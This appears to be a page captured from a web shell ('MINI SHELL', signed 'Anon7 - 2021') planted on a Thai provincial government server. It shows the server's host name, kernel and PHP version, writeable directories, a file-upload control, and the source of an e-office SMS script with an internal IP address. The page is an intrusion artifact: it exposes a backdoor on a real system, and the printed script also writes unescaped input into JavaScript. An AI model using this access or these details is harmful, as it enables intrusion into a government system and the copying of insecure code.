MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/bin/document_failed/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/bin/document_failed/sms131.php
<img src="indicator.gif"> กำลังประมวลผล...
<?
include "sms_function.php";
if ($_SERVER[REQUEST_METHOD] == "POST"){ 	
	//echo "<br> ส่ง SMS <br>";
	//echo "<pre>"; print_r($_POST);	echo "</pre>";
	if(is_array($_POST[org])){	
		foreach($_POST[org] as $b1 => $b2){
			$arry[$b2]=$tel[$b1];
		}	
		foreach($arry as $b1 => $b2){
			if(intval($b2)>0){		
				$Msn="$b2";
				SendSMS2db($Msn,$Msg);
				$fin_sms.="$b2,";		
			}
		}
	}
	$fin_sms=substr($fin_sms,0,-1);
	if($fin_sms){
	?>
	<script language="javascript">
		alert("ได้ทำการส่งข้อความไปยังหมายเลข <?=$fin_sms?> เรียบร้อยแล้ว");
		window.location.href='http://123.242.173.131/pathumthani_eoffice/application/document/dashboard.php';
	</script>
	<?
	}
	die;
}
?>

Anon7 - 2021